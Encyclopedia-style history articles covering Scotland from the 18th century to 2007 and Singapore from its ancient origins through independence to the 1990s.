          Economically, Glasgow and Edinburgh began to grow at a tremendous rate at the end of the 18th century. The Scottish Renaissance was one of philosophy and science. The Scottish Enlightenment involved names such as Adam Smith, David Hume and James Boswell. Scientific progress was led by James Hutton and William Thomson, 1st Baron Kelvin and James Watt (instrument maker to the University of Glasgow).


          Pre-eminent in contemporary literature were Robert Burns, an Ayrshire poet, and Sir Walter Scott, a prolific writer of ballads, poems and the historical novels. His romantic portrayals of Scottish life in centuries past still continue to have a disproportionate effect on the public perception of "authentic Scottish culture," and the pageantry he organised for the Visit of King George IV to Scotland made tartan and kilts into national symbols. George MacDonald also influenced views of Scotland in the latter parts of the 19th century.


          As the 19th century wore on, Lowland Scotland turned more and more towards heavy industry. Glasgow and the River Clyde became a major shipbuilding centre. Glasgow became one of the largest cities in the world, and known as "the Second City of the Empire" after London.
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          20th century Scotland
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          Tied as it was to the health of the British Empire, Scotland suffered after the First World War as it had gained beforehand. In the Highlands, which had provided a disproportionate number of recruits for the army, a whole generation of young men were lost, and many villages and communities suffered greatly. In the Lowlands, particularly Glasgow, poor working and living conditions led to industrial and political unrest. John MacLean became a key political figure in what became known as Red Clydeside, and in January 1919, the British Government, fearful of a revolutionary uprising, deployed tanks and soldiers in central Glasgow. During the 1920s and 1930s, due to global depression and foreign competition, Glasgow and Clydebank experienced high unemployment.


          In the Second World War naval bases and infrastructure in Scotland were primary German targets. Attacks on Scapa Flow and Rosyth gave RAF fighters their first successes downing bombers in the Firth of Forth and East Lothian. The shipyards and heavy engineering factories in Glasgow and Clydeside played a key part in the war effort, and suffered attacks from the Luftwaffe. Clydebank endured great destruction and loss of life. The Highlands again provided a large number of troops for the war effort. Commandos and resistance fighters received training in the harsh conditions of the Lochaber mountains.


          As transatlantic voyages involved negotiating the north-west, Scotland played a key part in the battle of the North Atlantic. As in World War I, Scapa Flow in Orkney served as an important Royal Navy base. Shetland's relative proximity to occupied Norway, resulted in the Shetland Bus  fishing boats helping Norwegians flee the Nazis, and expeditions across the North Sea to assist resistance. Perhaps Scotland's most bizarre wartime episode occurred in 1941 when Rudolf Hess flew to Renfrewshire, possibly intending to broker a peace deal through the Duke of Hamilton.
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          After World War II, Scotland's economic situation became progressively worse due to overseas competition, inefficient industry, and industrial disputes. This only began to change in the 1970s, partly due to the discovery and development of North Sea oil and gas and partly as Scotland moved towards a more service-based economy. This period saw the emergence of the Scottish National Party and movements for both Scottish independence and more popularly devolution. However, a referendum on devolution in 1979 was unsuccessful as it did not achieve the support of 40% of the electorate (despite a small majority of those who voted supporting the proposal.)


          As the Cold War intensified, the United States deployed Polaris ballistic missiles, and submarines, in the Firth of Clyde's Holy Loch (1961). This was despite opposition from CND campaigners. A Royal Navy nuclear submarine base followed for Resolution class Polaris submarines at the expanded Faslane Naval Base on the Gare Loch. The first patrol of a Trident-armed submarine occurred in 1994, although the US base was closed at the end of the Cold War.


          On 11 September 1997, the 700th anniversay of Battle of Stirling Bridge, the Blair Labour government again held a referendum on the issue of devolution. A positive outcome led to the establishment of a devolved Scottish Parliament in 1999. The Scottish Parliament Building is adjacent to Holyrood House in Edinburgh.
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          21st century Scotland


          The feudal system lingered on in Scots law on land ownership, so that a landowner still had obligations to a feudal superior including payment of feu duty. In 1974 legislation began a process of redeeming feu duties so that most of these payments were ended, but it was only with the attention of the Scottish Parliament that a series of acts were passed, the first in 2000, for The Abolition of Feudal Tenure on 28 November 2004.


          In 2007, the Scottish National Party (SNP) won the Scottish parliament elections and formed a minority government. New First Minister, Alex Salmond, hopes to hold a referendum on Scottish Independence before 2011, though the SNP may be unable to get a Bill to hold such a referendum approved by the Scottish parliament due to the minority position of the SNP government. If a referendum is held, an opinion poll in late 2007 suggested the result could be close as support for independence had reached 40% with just 44% supporting retention of the Union. The response of the unionist parties has been to call for the establishment of a Commission to examine further devolution of powers, a position that has the support of the Prime Minister.
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        History of Singapore


        
          

          Singapore rose in importance during the 14th century under the rule of Srivijayan prince Parameswara and became an important port until it was destroyed by Portuguese raiders in 1613. The modern history of Singapore began in 1819 when Englishman Sir Thomas Stamford Raffles established a British port on the island. Under British colonial rule, it grew in importance as a centre for both the India-China trade and the entrept trade in Southeast Asia, rapidly becoming a major port city.


          During World War II, Singapore was conquered and occupied by the Japanese Empire from 1942 to 1945. When the war ended, Singapore reverted to British control, with increasing levels of self-government being granted, culminating in Singapore's merger with the Federation of Malaya to form Malaysia in 1963. However, social unrest and disputes between Singapore's ruling People's Action Party and Malaysia's Alliance Party resulted in Singapore's expulsion from Malaysia. Singapore became an independent republic on 9 August 1965.


          Facing severe unemployment and a housing crisis, Singapore embarked on a modernisation programme that focused on establishing a manufacturing industry, developing large public housing estates and investing heavily on public education. Since independence, Singapore's economy has grown by an average of nine percent each year. By the 1990s, the country has become one of the world's most prosperous nations, with a highly- developed free market economy, strong international trading links, and the highest per capita gross domestic product in Asia outside of Japan.


          


          Ancient times
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          The earliest written record of Singapore was a Chinese account from the third century, describing the island of Pu Luo Chung ( 蒲 罗 中). This itself is transliterated from the Malay name " Pulau Ujong", or "island at the end" (of the Malay peninsula). The quasi-mythological Sejarah Melayu (Malay Annals) contains a tale of a prince of Srivijaya, Sri Tri Buana (also known as Sang Nila Utama), who landed on the island during the 13th century. When he saw a strange creature, which he mistakenly thought was a lion, the prince took this as an auspicious sign and founded a settlement called Singapura, which means "Lion City" in Sanskrit.


          In 1320, the Mongol Empire sent a trade mission to a place called Long Ya Men (or Dragon's Tooth Strait), which is believed to be Keppel Harbour, at the southern part of the island. The Chinese traveler Wang Dayuan, visiting the island around 1330, described a small settlement called Dan Ma Xi (淡马锡, from Malay Tamasik) with Malay and Chinese residents. The Nagarakretagama, a Javanese epic poem written in 1365, also referred to a settlement on the island called Temasek (Sea Town). Recent excavations in Fort Canning found evidences indicating that Singapore was an important port in the 14th century.


          In the 1390s, Srivijayan prince Parameswara fled to Temasek after being deposed by the Majapahit Empire. He ruled the island for several years, before being forced to Melaka where he founded the Sultanate of Malacca. Singapore became an important trading port of the Malacca Sultanate and later the Sultanate of Johor. In 1613, Portuguese raiders burnt down the settlement at the mouth of Singapore River and the island sank into obscurity.


          


          Founding of modern Singapore (1819)


          
            [image: Thomas Stamford Raffles.]

            
              Thomas Stamford Raffles.
            

          


          Between the 16th and 19th centuries, the Malay archipelago was gradually taken over by the European colonial powers, beginning with the arrival of the Portuguese at Malacca in 1509. The early dominance of the Portuguese was challenged during the 17th century by the Dutch, who came to control most of the ports in the region. The Dutch established a monopoly over trade within the archipelago, particularly in spices, then the region's most important product. Other colonial powers, including the British, were limited to a relatively minor presence.


          In 1818, Sir Thomas Stamford Raffles was appointed as the Lieutenant Governor of the British colony at Bencoolen. He was determined that British should replace the Dutch as the dominant power in the archipelago, since the trade route between China and British India, which had become vitally important with the institution of the opium trade with China, passed through the archipelago. The Dutch had been stifling British trade in the region by prohibiting the British from operating in Dutch-controlled ports or by subjecting them with high tariff. Raffles hoped to challenge the Dutch by establishing a new port along the Straits of Malacca, the main ship passageway for the India-China trade. He convinced Lord Hastings, the Governor-General of India and his superior at the British East India Company, to fund an expedition to seek a new British base in the region.
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          Raffles arrived in Singapore on 29 January 1819 and soon recognised the island as a natural choice for the new port. It lay at the southern tip of the Malay peninsula, near the Straits of Malacca, and possessed a natural deep harbour, fresh water supplies, and timber for repairing ships. Raffles found a small Malay settlement, with a population of a few hundreds, at the mouth of the Singapore River, headed by Temenggong Abdu'r Rahman. The island was nominally ruled by the Sultan of Johor, Tengku Rahman, who was controlled by the Dutch and the Bugis. However, the Sultanate was weakened by factional division and Temenggong Abdu'r Rahman and his officials were loyal to Tengku Rahman's elder brother Tengku Hussein (or Tengku Long) who was living in exile in Riau. With the Temenggong's help, Raffles managed to smuggle Hussein back into Singapore. He offered to recognise Hussein as the rightful Sultan of Johor and provide him with a yearly payment; in return, Hussein would grant the British the right to establish a trading post on Singapore. A formal treaty was signed on 6 February 1819 and modern Singapore was born.


          


          Early growth (18191826)
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          Raffles returned to Bencoolen soon after the signing of the treaty and left Major William Farquhar in charge of the new settlement, with some artillery and a small regiment of Indian soldiers. Establishing a trading port from scratch was a daunting endeavour. Farquhar's administration was fairly funded and was prohibited from collecting port duties to raise revenue as Raffles had decided that Singapore would be a free port. Despite these difficulties, the new colony grew rapidly. As news of the free port spread across the archipelago, Bugis, Peranakan Chinese, and Arab traders flocked to the island, seeking to circumvent the Dutch trade restrictions. During the starting year of operation, $400,000 ( Spanish dollars) worth of trade passed through Singapore. By 1821, the island's population had gone up to around 5,000, and the trade volume was $8 million. The population reached the 10,000 mark in 1825, and with a trade volume of $22 million, Singapore surpassed the long-established port of Penang.


          Raffles returned to Singapore in 1822 and became critical of many of Farquhar's decisions, despite Farquhar's success in leading the settlement through its difficult early years. In order to generate much-needed revenue, Farquhar had resorted to selling licenses for gambling and the sale of opium, which Raffles saw as social evils. Shocked at the disarray of the colony, Raffles set about drafting a set of new policies for the settlement. He also organised Singapore into functional and ethnic subdivisions under the Raffles Plan of Singapore. Today, remnants of this organisation can still be found in the ethnic neighbourhoods.


          On 7 June 1823, Raffles signed a second treaty with the Sultan and Temenggong, which extended British possession to most of the island. The Sultan and Temenggong traded most of their administrative rights of the island, including the collection of port taxes for lifelong monthly payments of $1500 and $800 respectively. This agreement brought the island under the British law, with the provision that it would take into account Malay customs, traditions and religion. Raffles replaced Farquhar with John Crawfurd, an efficient and frugal administrator, as the new governor. In October 1823, Raffles departed for Britain and would never return to Singapore as he died in 1826, at the age of 44.


          


          The Straits Settlements (18261867)
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          The establishment of a British outpost in Singapore was initially in doubt as the Dutch government soon protested to Britain for violating their sphere of influence. But as Singapore rapidly emerged as an important trading post, Britain consolidated its claim on the island. The status of Singapore as a British possession was cemented by the Anglo-Dutch Treaty of 1824, which carved up the Malay archipelago between the two colonial powers with the area north of the Straits of Malacca, including Singapore, falling under Britain's sphere of influence. In 1826, Singapore was grouped together with Penang and Malacca to form the Straits Settlements, administrated by the British East India Company. In 1830, the Straits Settlements became a residency, or subdivision, of the Presidency of Bengal in British India.


          During the subsequent decades, Singapore grew to become an important port in the region. Its success was due to several reasons including the opening of market in China, the advent of ocean-going steamships, and the production of rubber and tin in Malaya. Its status as a free port provided crucial advantage over other colonial port cities in Batavia (Jakarta) and Manila where tariffs were levied, and it drew many Chinese, Malay, Indian, and Arab traders operating in South-East Asia to Singapore. The later opening of the Suez Canal in 1869 would further boost trade in Singapore. By 1880, over 1.5 million tons of goods were passing through Singapore each year, with around 80% of the cargo transported by steamships. The main commercial activity was entrept trade which flourished under no taxation and little restriction. Many merchant houses were set up in Singapore mainly by European trading firms, but also by Jewish, Chinese, Arab, Armenian, American and Indian merchants. There were also many Chinese middlemen who handled most of the trade between the European and Asian merchants.


          By 1827, the Chinese became the largest ethnic group in Singapore. They consisted of Peranakans, who were descendants of early Chinese settlers, and Chinese coolies who flocked to Singapore to escape the economic hardship in southern China due to the Opium Wars. Many arrived in Singapore as impoverished indentured labourers and they were predominantly males. The Malays were the second largest ethnic group until the 1860s and they worked as fishermen, craftsmen, or as wage earners while continued to live mostly in kampungs. By 1860, the Indians became the second largest ethnic group. They consisted of unskilled labourers, traders, and convicts who were sent to carry out public works projects such as clearing jungles and laying out roads. There were also Indian Sepoy troops garrisoned at Singapore by the British.


          Despite Singapore's growing importance, the administration governing the island was understaffed, ineffectual and were unconcerned with the welfare of the populace. Administrators were usually posted from India and were unfamiliar with local culture and languages. While the population had quadrupled during 1830 to 1867, the size of the civil service in Singapore had remained unchanged. Most people had no access to public health services and diseases such as cholera and smallpox caused severe health problem, especially in overcrowded working-class areas. As a result of the administration's ineffectiveness and the predominantly male, transient, and uneducated nature of the population, the society was lawless and chaotic. In 1850 there were only twelve police officers in the city of nearly 60,000 people. Prostitution, gambling, and drug abuse (particularly of opium) were widespread. Chinese criminal secret societies (analogous to modern-day triads) were extremely powerful, and some had tens of thousands of members. Turf wars between rival societies occasionally led to hundreds of deaths and attempts to suppress them had limited success.


          


          Crown colony (18671942)
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          As Singapore continued to grow, the deficiencies in the Straits Settlements administration became serious and Singapore's merchant community began agitating against British Indian rule. The British government agreed to establish the Straits Settlements as a separate Crown Colony on 1 April 1867. This new colony was ruled by a governor under the supervision of the Colonial Office in London. The governor was assisted by an executive council and a legislative council. Although members of the councils were not elected, more representatives for the local population were gradually included over the years.


          The colonial government embarked on several measures to address the serious social problems facing Singapore. A Chinese Protectorate under Pickering was established in 1877 to address the needs of the Chinese community, especially in controlling the worst abuses of the coolie trade and protecting Chinese women from forced prostitution. In 1889 Governor Sir Cecil Clementi Smith banned secret societies, driving them underground. Nevertheless, many social problems persisted up through the post-war era, including an acute housing shortage and poor health and living standards. In 1906, the Tongmenghui, a revolutionary Chinese organisation dedicated to the overthrow of the Qing Dynasty and led by Sun Yat-Sen, founded its Nanyang branch in Singapore, which served as the organisation's headquarters in Southeast Asia. The immigrant Chinese population in Singapore donated generously to Tongmenghui, which organised the 1911 Xinhai Revolution that led to the establishment of the Republic of China.
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          Singapore was not much affected by World War I (191418), as the conflict did not spread to Southeast Asia. The only significant event during the war was a 1915 mutiny by the British Muslim Indian sepoys garrisoned in Singapore. After hearing rumours that they were to be sent off to fight the Ottoman Empire, the soldiers revolted, killing their officers and several British civilians before being suppressed by troops arriving from Johor and Burma. After the war, the British government devoted significant resources into building a naval base in Singapore, as a deterrent to the increasingly ambitious Japanese Empire. Completed in 1939 at a staggering cost of $500 million, the naval base boasted what was then the largest dry dock in the world, the third-largest floating dock, and having enough fuel tanks to support the entire British navy for six months. It was defended by heavy 15-inch naval guns and by Royal Air Force squadrons stationed at Tengah Air Base. Winston Churchill touted it as the "Gibraltar of the East." Unfortunately, it was a base without a fleet. The British Home Fleet was stationed in Europe and the plan was for it to sail quickly to Singapore when needed. However, after World War II broke out in 1939, the Fleet was fully occupied with defending Britain.


          


          The Battle of Singapore and the Japanese Occupation (19421945)
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          On 7 December 1941, Japan attacked Pearl Harbour and the Pacific War began in earnest. One of Japan's objectives was to capture Southeast Asia and secure the rich supply of natural resources to feed its military and industry needs. Singapore, the main Allied base in the region, was an obvious military target. The British military commanders in Singapore had believed that the Japanese attack would come by sea from the south, since the dense Malayan jungle in the north would serve as a natural barrier against invasion. Although the British had drawn up a plan for dealing with an attack on northern Malaya, preparations were never completed. The military was confident that "Fortress Singapore" would withstand any Japanese attack and this confidence was further reinforced by the arrival of Force Z, a squadron of British warships dispatched to the defense of Singapore, including the battleship HMS Prince of Wales, and cruiser HMS Repulse. The squadron was to have been accompanied by a third capital ship, the aircraft carrier HMS Indomitable, but it ran aground en route, leaving the squadron without air cover.


          On 8 December 1941, Japanese forces landed at Kota Bahru in northern Malaya. Just two days after the start of the invasion of Malaya, Prince of Wales and Repulse were sunk 50miles off the coast of Kuantan in Pahang, by a force of Japanese bombers and torpedo bomber aircraft, in the worst British naval defeat of World War II. Allied air support did not arrive in time to protect the two capital ships. After this incident, Singapore and Malaya suffered daily air raids, including those targeting civilian structures such as hospitals or shophouses with casualties ranging from the tens to the hundreds each time.


          The Japanese army advanced swiftly southward through the Malay Peninsula, crushing or bypassing Allied resistance. The Allied forces did not have tanks, which they considered as unsuitable in the tropical rainforest, and their infantry proved powerless against the Japanese light tanks. As their resistance failed against the Japanese advance, the Allied forces were forced to retreat southwards towards Singapore. By 31 January 1942, a mere 55 days after the start of the invasion, the Japanese had conquered the entire Malay peninsula and were poised to attack Singapore.
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          The causeway linking Johar and Singapore was blown up by the Allied forces in an effort to stop the Japanese army. However, the Japanese managed to cross the Straits of Johor in inflatable boats days after. Several heroic fights by the Allied forces and volunteers of Singapore's population against the advancing Japanese, such as the Battle of Pasir Panjang, took place during this period. However, with most of the defences shattered and supplies exhausted, Lieutenant-General Arthur Percival surrendered the Allied forces in Singapore to General Tomoyuki Yamashita of the Imperial Japanese Army on Chinese New Year, 15 February 1942. About 130,000 Indian, Australian and British troops became prisoners of war, many of whom would later be transported to Burma, Japan, Korea, or Manchuria for use as slave labour via prisoner transports known as " hell ships." The fall of Singapore was the largest surrender of British-led forces in history.


          Singapore, renamed Syonan-to (昭南島 Shōnan-tō, "Light of the South Island" in Japanese), was occupied by the Japanese from 1942 to 1945. The Japanese Occupation is the darkest period of Singaporean history as the Japanese army imposed harsh measures against the local population. Numerous atrocities were committed by Japanese troops, particularly by the Kempeitai, the Japanese military police. They were the enforcers of the Sook Ching Massacre of Chinese civilians, to retaliate against them for their support of the war effort in China. The mass executions claimed between 25,000 and 50,000 lives in Malaya and Singapore. The rest of the population suffered severe hardship throughout the three and a half years of Japanese occupation.


          


          Post-war period (19451955)


          

          After the Japanese surrender to the Allies on 15 August 1945, Singapore fell into a brief state of anomie and looting and revenge-killing were widespread. British troops led by Lord Louis Mountbatten, Supreme Allied Commander for Southeast Asia Command, returned to Singapore to receive formal surrender of the Japanese forces in the region from General Itagaki Seishiro on behalf of General Hisaichi Terauchi on September 12, 1945 and a British Military Administration was formed to govern the island until March 1946. Much of the infrastructure had been destroyed during the war, including electricity and water supply systems, telephone services, as well as the harbour facilities at the Port of Singapore. There was also a shortage of food leading to malnutrition, diseases and rampant crimes and violence. High food prices, unemployment, and workers' discontent culminated into a series of strikes in 1947 causing massive stoppages in public transport and other services. By late 1947, the economy began to recover, facilitated by a growing demand for tin and rubber around the world, but it would take several more years before the economy returned to pre-war levels.


          The failure of Britain to defend Singapore had destroyed its credibility as infallible ruler in the eyes of Singaporeans. The decades after the war saw a political awakening amongst the local populace and the rise of anti-colonial and nationalist sentiments, epitomised by the slogan Merdeka, or "independence" in the Malay language. The British, on their part, were prepared to gradually increase self-governance for Singapore and Malaya. On 1 April 1946, the Straits Settlements was dissolved and Singapore became a separate Crown Colony with a civil administration headed by a Governor. In July 1947, separate Executive and Legislative Councils were established and the election of six members of the Legislative Council was scheduled in the following year.


          


          First Legislative Council (1948-1951)


          The first Singaporean elections, held in March 1948, were limited as only six of the twenty-five seats on the Legislative Council were to be elected. Only British subjects had the rights to vote, and only 23,000 or about 10% of those eligible registered to vote. Other members of the Council were chosen either by the Governor or by the chambers of commerce. Three of the elected seats were won by a newly-formed Singapore Progressive Party (SPP), a conservative party whose leaders were businessmen and professionals and were disinclined to press for immediate self-rule. The other three seats were won by independents.


          Three months after the elections, an armed insurgency by communist groups in Malaya  the Malayan Emergency  broke out. The British imposed tough measures to control left-wing groups in both Singapore and Malaya and introduced the controversial Internal Security Act, which allowed indefinite detention without trial for persons suspected of being "threats to security". Since the left-wing groups were the strongest critics of the colonial system, progress on self-government was stalled for several years.


          


          Second Legislative Council (1951-1955)


          A second Legislative Council election was held in 1951 with the number of elected seats increased to nine. This election was again dominated by the SPP which won six seats. While this contributed to the formation of a distinct local government of Singapore, the colonial administration was still dominant. In 1953, with the communists in Malaya suppressed and the worst of the Emergency over, a British Commission, headed by Sir George Rendel, proposed a limited form of self-government for Singapore. A new Legislative Assembly with twenty-five out of thirty-two seats chosen by popular election would replace the Legislative Council, from which a Chief Minister as head of government and Council of Ministers as a cabinet would be picked under a parliamentary system. The British would retain control over areas such as internal security and foreign affairs, as well as veto power over legislation.


          The election for the Legislative Assembly held on 2 April 1955 was a lively and closely-fought affair, with several new political parties joining the fray. Unlike previous elections, voters were automatically registered, expanding the electorate to around 300,000. The SPP was soundly defeated in the election, winning only four seats. The newly-formed, left-leaning Labour Front was the biggest winner with ten seats and it formed a coalition government with the UMNO- MCA Alliance, which won three seats. Another new party, the leftist People's Action Party (PAP), won three seats.


          


          Self-government (19551963)


          


          Partial internal self-government (19551959)


          


          David Marshall, leader of the Labour Front, became the first Chief Minister of Singapore. He presided over a shaky government, receiving little cooperation from either the colonial government or the other local parties. Social unrest was on the rise, and in May 1955, the Hock Lee Bus Riots broke out, killing four people and seriously discrediting Marshall's government. In 1956, the Chinese Middle School riots broke out among students in The Chinese High School and other schools, further increasing the tension between the local government and the Chinese students and unionists who were regarded of having communist sympathies.


          In April 1956, Marshall led a delegation to London to negotiate for complete self-rule in the Merdeka Talks, but the talks failed when the British were reluctant to give up control over Singapore's internal security. The British were concerned about communist influence and labour strikes which were undermining Singapore's economic stability, and felt that the local government was ineffective in handling earlier riots. Marshall resigned following the failure of the talk.


          The new Chief Minister, Lim Yew Hock, launched a crackdown on communist and leftist groups, imprisoning many trade union leaders and several pro-communist members of the PAP under the Internal Security Act. The British government approved of Lim's tough stance against communist agitators, and when a new round of talks was held beginning in March 1957, they agreed to grant complete internal self-government. A State of Singapore would be created, with its own citizenship. The Legislative Assembly would be expanded to fifty-one members, entirely chosen by popular election, and the Prime Minister and cabinet would control all aspects of government except defence and foreign affairs. The governorship was replaced by a Yang di-Pertuan Negara or head of state.


          


          Full internal self-government (1959-1963)


          Elections for the new Legislative Assembly were held in May 1959. The People's Action Party (PAP) swept the election, winning forty-three of the fifty-one seats. They accomplished this by courting the Chinese-speaking majority, particularly those in the labour unions and radical student organisations. Its leader Lee Kuan Yew, a young Cambridge-educated lawyer, became the first Prime Minister of Singapore.


          The PAP's victory was viewed with dismay by foreign and local business leaders because some party's members were pro-communists. Many businesses promptly shifted their headquarters from Singapore to Kuala Lumpur. Despite these ill omens, the PAP government embarked on a vigorous program to address Singapore's various economic and social problems. Economic development was overseen by the new Minister of Finance Goh Keng Swee, whose strategy was to encourage foreign and local investment with measures ranging from tax incentives to the establishment of a large industrial estate in Jurong. The education system was revamped to train a skilled workforce and the English language was promoted over the Chinese language as the language of instruction. To eliminate labour unrest, existing labour unions were consolidated, sometimes forcibly, into a single umbrella organisation, called the National Trades Union Congress (NTUC) with strong oversight from the government. On the social front, an aggressive and well-funded public housing program was launched to solve the long-standing housing problem. More than 25,000 high-rise, low-cost apartments were constructed during the first two years of the program.


          


          Campaign for merger


          


          Despite their successes in governing Singapore, the PAP leaders, including Lee and Goh, believed that Singapore's future lay with Malaya. They felt that the historical and economic ties between Singapore and Malaya were too strong for them to continue as separate nations, and they campaigned vigorously for a merger. On the other hand, the sizeable pro-communist wing of the PAP were strongly opposed to the merger, fearing a loss of influence as the ruling party of Malaya, United Malays National Organisation, was staunchly anti-communist and would support the non-communist faction of PAP against them. The UMNO leaders were also skeptical of the merger idea due to their distrust of the PAP government and concerns that the large Chinese population in Singapore would alter the racial balance on which their political power base depended. The issue came to a head in 1961 when pro-communist PAP minister Ong Eng Guan defected from the party and beat a PAP candidate in a subsequent by-election, a move that threatened to bring down Lee's government. Faced with the prospect of a takeover by the pro-communists, UMNO did an about-face on the merger. On 27 May, Malaya's Prime Minister, Tunku Abdul Rahman, mooted the idea of a Federation of Malaysia, comprised of the existing Federation of Malaya, Singapore, Brunei and the British Borneo territories of Sabah and Sarawak. The UMNO leaders believed that the additional Malay population in the Borneo territories would offset Singapore's Chinese population.


          The Malaysia proposal ignited the long-brewing conflict between the moderates and pro-communists within the PAP. The pro-communists, led by Lim Chin Siong, left the PAP to form a new opposition party, the Barisan Sosialis (Socialist Front), to campaign against entry into Malaysia under the PAP's plan. In response, Lee called for a referendum on the merger and campaigned vigorously for his proposal, aided by the government's strong influence over the media. In the referendum, held on 1 September 1962, 70% of the votes supported the PAP's proposal for merger.


          On 9 July 1963, the leaders of Singapore, Malaya, Sabah and Sarawak signed the Malaysia Agreement to establish the Federation of Malaysia.


          


          Singapore in Malaysia (19631965)


          


          


          Merger


          On 16 September 1963, Malaya, Singapore, Sabah and Sarawak were formally merged and Malaysia was formed. For Singapore, the merger was thought to benefit the economy by creating a common free market, eliminating trade tariffs, and solving unemployment woes. The British government approved the merger, convinced that Singapore's security would be safeguarded within the much larger Malaysia.


          The union was rocky from the start. During the 1963 Singapore state elections, a local branch of UMNO took part in the election despite an earlier UMNO's agreement with the PAP not to participate in the state's politics during Malaysia's formative years. Although UMNO lost all its bids, relations between PAP and UMNO worsened as the PAP, in a tit-for-tat, challenged UMNO candidates in the 1964 federal election as part of the Malaysian Solidarity Convention, winning one seat in Malaysian Parliament.


          


          Racial tension


          Racial tensions increased dramatically within a year and were fueled by Barisan Sosialis's tactics of stirring up communal sentiment to discredit the government of Singapore and the federal government of Malaysia. In particular, the Chinese in Singapore disdained being discriminated against by the federal policies of affirmative action, which granted special privileges to the Malays guaranteed under Article 153 of the Constitution of Malaysia. There were also other financial and economic benefits that were preferentially given to Malays. Lee Kuan Yew and other political leaders began advocating for the fair and equal treatment of all races in Malaysia, with a rallying cry of " Malaysian Malaysia!".


          


          Meanwhile, the Malays in Singapore were being increasingly incited by the federal government's accusations that the PAP was mistreating the Malays. The external political situation was also tense when Indonesian President Sukarno declared a state of Konfrontasi (Confrontation) against Malaysia and initiated military and other actions against the new nation, including the bombing of MacDonald House in Singapore in March 1965 by Indonesian commandos, killing three people. Indonesia also conducted sedition activities to provoke the Malays against the Chinese. Numerous racial riots resulted and curfews were frequently imposed to restore order. The most notorious riots were the 1964 Race Riots that first took place on Prophet Muhammad's birthday on 21 July with twenty three people killed and hundreds injured. During the unrest, the price of food skyrocketed when transport system was disrupted, causing further hardship for the people.


          The state and federal governments also had conflicts on the economic front. UMNO leaders feared that the economic dominance of Singapore would inevitably shift political power away from Kuala Lumpur. Despite earlier agreement to establish a common market, Singapore continued to face restrictions when trading with the rest of Malaysia. In retaliation, Singapore refused to provide Sabah and Sarawak the full extent of the loans previously agreed to for the economic development of the two eastern states. The situation escalated to such intensity that talks soon broke down and abusive speeches and writings became rife on both sides. UMNO extremists called for the arrest of Lee Kuan Yew.


          


          Separation


          


          Seeing no other alternative to avoid further bloodshed, the Malaysian Prime Minister Tunku Abdul Rahman decided to expel Singapore from the federation. The Parliament of Malaysia voted 126-0 in favour of the expulsion on 9 August 1965. On that day, a tearful Lee Kuan Yew announced on a televised press conference that Singapore was a sovereign, independent nation. In a widely remembered quote, he uttered that: "For me, it is a moment of anguish. All my life, my whole adult life, I have believed in merger and unity of the two territories." The new state became the Republic of Singapore and Yusof bin Ishak was appointed the first President.


          


          Republic of Singapore (1965present)


          [bookmark: 1965_to_1979]


          1965 to 1979
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          After gaining independence abruptly, the future of Singapore was filled with uncertainties. The Konfrontasi was on-going and conservative UMNO faction strongly opposed the separation; Singapore faced the danger of being attacked by Indonesian military or forcibly re-absorbed into the Malaysia Federation in unfavourable terms. Singapore immediately sought international recognition of its sovereignty. Singapore joined the United Nations on 21 September 1965 and the Commonwealth in October that year. Foreign minister Sinnathamby Rajaratnam headed a new foreign service and helped asserting Singapore's independence and establishing diplomatic relations with other countries. Singapore later co-founded the Association of Southeast Asian Nations on 8 August 1967 and was admitted into the Non-Aligned Movement in 1970.


          As a small island nation, Singapore was seen as inadequate to be a viable country and much of the international media was skeptical of prospects for Singapore's survival. Besides the issue of sovereignty, the pressing problems were unemployment, housing, education, and the lack of natural resources and land. Unemployment rate was ranging between 10-12% threatening to trigger civil unrest.


          The Economic Development Board was set up in 1961 to formulate and implement national economic strategies, focusing on promoting Singapore's manufacturing sector. Industrial estates were set up, especially in Jurong, and foreign investment was attracted to the country with tax incentives. The industrialisation transformed the manufacturing sector to one that produced higher value-added goods and achieved greater revenue. The service industry also grew at this time, driven by demand for services by ships calling at the port and increasing commerce. These progresses helped to alleviate the unemployment crisis. Singapore also attracted big oil companies like Shell and Esso to establish oil refineries in Singapore which, by the mid 1970s, became the third largest oil-refining centre in the world. The government invested heavily in an education system that adopted English as the language of instruction and emphasised on practical training to develop a competent workforce well suited for the industry.


          The lack of good public housing, poor sanitation, and high unemployment led to social problems from crime to health issues. The proliferation of squatter settlements resulted in safety hazards and caused the Bukit Ho Swee Squatter Fire in 1961 that killed four people and left 16,000 others homeless. The Housing Development Board set up before independence continued to be largely successful and huge building projects sprung up to provide affordable public housing to resettle the squatters. Within a decade, the majority of the population had been housed in these apartments. The Central Provident Fund (CPF) Housing Scheme, introduced in 1968, allows residents to use their compulsory savings account to purchase HDB flats and gradually increases home ownership in Singapore.


          British troops had remained in Singapore following its independence, but in 1968, London announced its decision to withdraw the forces by 1971. Singapore set out to build its military, called the Singapore Armed Forces, and a national service programme was introduced in 1967.


          


          The 1980s and 1990s
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          Further economic success continued through the 1980s onwards, with the unemployment rate falling to 3% and real GDP growth averaging at about 8% during this time until 1999. During the 1980s, Singapore began to upgrade its industries to higher-technology industries, such as the wafer fabrication sector, in order to compete with its neighbours which now have cheaper labour forces. Singapore Changi Airport was opened in 1981 and Singapore Airlines was developed to become a major airline in the world. The Port of Singapore became one of the world's busiest ports and the service and tourism industry also grew immensely during this period. Singapore emerged as an important transportation hub and a major tourist destination.


          The Housing Development Board continued to promote public housing with new towns, such as in Ang Mo Kio, were designed and built. These new residential estates have larger and higher-standard apartments and are served with better amenities. Today, 80-90% of the population lives in HDB apartments. In 1987, the first Mass Rapid Transit (MRT) line began operation, connecting most of these housing estates and the city centre.


          The political situation in Singapore was stable and dominated by the People's Action Party which had a 15-year monopoly in parliament during 1966 to 1981, winning all seats in elections during that period. The PAP rule is termed authoritarian by some activists and opposition politicians who see the strict regulation of political and media activities by the government as an infringement on political rights. The conviction of opposition politician Chee Soon Juan for illegal protests and the defamation lawsuits against J. B. Jeyaretnam have been cited by the opposition parties as examples of such authoritarianism. The lack of separation of powers between the court system and the government led to further accusations by the opposition parties of miscarriage of justice.
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          The government of Singapore underwent several significant changes. Non-Constituency Members of Parliament were introduced in 1984 to allow up to three losing opposition parties candidates be appointed as MPs. Group Representation Constituencies (GRCs) was introduced in 1988 to create multi-seat electoral divisions, intended to ensure minority representation in parliament. Nominated Members of Parliament was introduced in 1990 to allow non-elected non-partisan MPs. The Constitution was amended in 1991 to provide for an Elected President who has veto power in the use of national reserves and appointments to public office. The opposition parties have complained that the GRC system has made it difficult for them to gain a foothold in parliamentary elections in Singapore, and the plurality voting system tends to exclude minority parties.


